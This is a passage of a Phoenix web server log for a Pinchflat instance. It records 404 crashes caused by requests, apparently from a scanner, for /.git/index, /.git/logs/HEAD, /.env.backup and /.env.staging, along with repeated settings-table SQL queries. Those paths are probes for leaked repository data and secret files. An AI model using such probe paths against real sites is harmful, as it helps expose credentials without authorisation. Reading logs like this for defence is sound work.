PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/logs/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3Gsk4AE3gAAHnD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/logs/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document (truncated) 04:52:49.701 [debug] QUERY OK source="settings" db=0.4ms queue=1.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [debug] QUERY OK source="settings" db=0.8ms queue=2.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [debug] QUERY OK source="settings" db=0.8ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.702 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.699 [error] #PID<0.138985.0> running PinchflatWeb.Endpoint (connection #PID<0.138979.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46064}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138985.0>, params: %{}, path_info: [".git", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3XMAPcwiMAACmk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46064}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46064}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec (truncated) 04:52:49.698 [error] #PID<0.138984.0> running PinchflatWeb.Endpoint (connection #PID<0.138980.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138984.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3WJ0I3ZrsAAHnj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", (truncated) 04:52:49.702 [debug] QUERY OK source="settings" db=0.8ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [debug] QUERY OK source="settings" db=1.6ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [debug] QUERY OK source="settings" db=0.6ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.703 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.699 [error] #PID<0.138986.0> running PinchflatWeb.Endpoint (connection #PID<0.138981.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46114}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138986.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3ZGxxqM7EAAHoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46114}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46114}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_ (truncated) 04:52:49.703 [debug] QUERY OK source="settings" db=1.2ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.703 [debug] QUERY OK source="settings" db=0.4ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 